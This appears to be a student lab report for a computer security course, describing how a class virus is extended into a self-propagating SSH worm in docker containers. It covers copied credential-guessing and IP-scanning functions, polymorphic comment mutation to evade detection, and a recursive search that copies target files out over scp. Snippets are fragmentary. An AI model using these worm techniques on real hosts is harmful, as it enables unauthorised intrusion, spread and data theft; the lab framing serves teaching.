Report on

Malware Offline

CSE 406 – Computer Security

1805093
Md. Nazmul Islam Ananto

Task 01

/* Taking cues from the code shown for AbraWorm.py, turn the FooVirus.py virus into a worm by incorporating networking code in it. The resulting worm will still infect only the '.foo' files, but it will also have the ability to hop into other machines. */

We have to incorporate networking codes from AbraWorm.py in the FooVirus.py so that it can hop into machines. For this, let's copy the get_new_usernames, get_new_passwds and get_fresh_ipaddresses functions and other things for them to function properly.

As the number of lines in FooVirus.py is very large now and we do not want to manually handle this, we add this to the file –

```
    line_count = len(IN.readlines())
    virus = [line for (i,line) in enumerate(IN) if i < line_count]
```

```
seed@CSE406:~/Downloads/Offline-Malware-Jan23/Docker-setup$ dockps
c83a27121554  test_sshd_container_1
00329ecb148a  test_sshd_container_10
253f8bb10692  test_sshd_container_2
2591bc6784d6  test_sshd_container_3
88ae83651e6c  test_sshd_container_4
f58083c8d8d0  test_sshd_container_5
368927544c1a  test_sshd_container_6
50b704afadc9  test_sshd_container_7
41f87999801d  test_sshd_container_8
3778a6dde455  test_sshd_container_9
root@c83a27121554:~# ls -l
total 0
```

Task 02

/* Modify the code AbraWorm.py code so that no two copies of the worm are exactly the same in all of the infected hosts at any given time */

To achieve this mutation, we took multiple steps –

- Separated the bashbang from all the other lines and randomly altered lines starting with #, as in the comments
- Added random letters into the comments and even changed the number of #'s
- Added random comments inside the file at random places
- Added random impossible date at the end of file

Then we put all that into a temporary file and finally replaced it on top of our infected AbraWorm.py.

Task 03

/* If you examine the code in the worm script AbraWorm.py, you'll notice that, after the worm has broken into a machine, it examines only the top-level directory of the username for the files containing the magic string "abracadabra." Extend the worm code so that it descends down the directory structure and examines the files at every level. */

For this we have recursively went through all the files using "-rl" and attacked them.

```
for filename in files_of_interest_at_target:
    filename = filename.decode('utf-8')
    # filename = filename.split('/')[-1]
    print("filename:", filename)
    scpcon.put(filename)
```